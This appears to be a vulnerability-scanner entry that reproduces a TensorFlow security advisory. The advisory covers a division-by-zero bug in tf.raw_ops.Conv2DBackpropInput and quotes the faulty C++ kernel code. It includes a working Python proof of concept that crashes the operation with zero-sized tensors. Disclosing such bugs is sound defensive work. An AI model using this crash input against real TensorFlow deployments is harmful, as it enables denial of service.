QID 982521

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`:

```python
import tensorflow as tf

input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,
out_backprop=out_backprop, strides=[1, 1, 1, 1],
use_cudnn_on_gpu=True, padding='SAME',
explicit_paddings=[], data_format='NHWC',
dilations=[1, 1, 1, 1])
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller:

```cc
const size_t size_A = output_image_size * dims.out_depth;
const size_t size_B = filter_total_size * dims.out_depth;
const size_t size_C = output_image_size * filter_total_size;
const size_t work_unit_size = size_A + size_B + size_C;
...
const size_t shard_size =
use_parallel_contraction ? 1 :
(target_working_set_size + work_unit_size - 1) / work_unit_size;
```